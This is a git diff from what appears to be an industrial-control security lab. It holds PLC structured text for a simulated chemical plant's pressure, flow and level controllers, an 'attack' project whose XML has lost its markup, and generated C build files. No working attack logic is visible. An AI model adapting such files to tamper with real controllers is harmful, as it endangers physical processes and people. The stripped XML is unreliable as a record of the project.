VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + 